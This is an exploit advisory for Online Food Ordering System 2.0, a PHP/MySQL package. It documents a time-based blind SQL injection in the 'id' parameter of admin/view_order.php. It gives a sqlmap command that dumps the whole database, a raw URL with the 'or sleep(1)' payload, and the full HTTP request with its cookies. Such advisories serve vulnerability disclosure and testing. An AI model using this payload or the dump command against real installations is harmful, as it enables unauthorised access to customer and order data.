Online Food Ordering System 2.0 SQL Injection

# Exploit Title: Online Food Ordering System v2 – Sql Injection (Time-Based Blind)
# Date: 01/11/2023

# Exploit Author: Hasan Baskin

# Vendor Homepage: https://www.sourcecodester.com/php/16022/online-food-ordering-system-v2-using-php8-and-mysql-free-source-code.html

# Software Link: https://www.sourcecodester.com/download-code?nid=16022&title=Online+Food+Ordering+System+v2+using+PHP8+and+MySQL+Free+Source+Code

# Version: 2.0

# Tested with: Macos/XAMPP

SQL injection is possible with # parameter id. This sqlmap command can be exploited:

# sqlmap -u “http://localhost/fos/admin/view_order.php?id=1” -p id –dump-all

####### Raw URL

# http://localhost/fos/admin/view_order.php?id=1+or+sleep(1)

####### Raw Request

GET /fos/admin/view_order.php?id=1+or+sleep(1) HTTP/1.1

Host: localhost

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:108.0) Gecko/20100101 Firefox/108.0

Accept: */*

Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

X-Request-With:

Connectivity: Close

Referer: http://localhost/fos/admin/index.php?page=orders

Cookie: language=en; welcomebanner_status=dismiss; continueCode=LoPJXWEAqruytmUYHrT4FDiBZikOH1Vh8Zh7JHvLtppI9VCvXHEYd7ywQ1B5; cookieconsent_status=dismiss; PHPSESSID=eje1menuonpvjtfbl2ri965btk

Sec-Fetch – Dest: empty

Sec-Fetch Mode: Cors

Sec-Fetch-Site: same-origin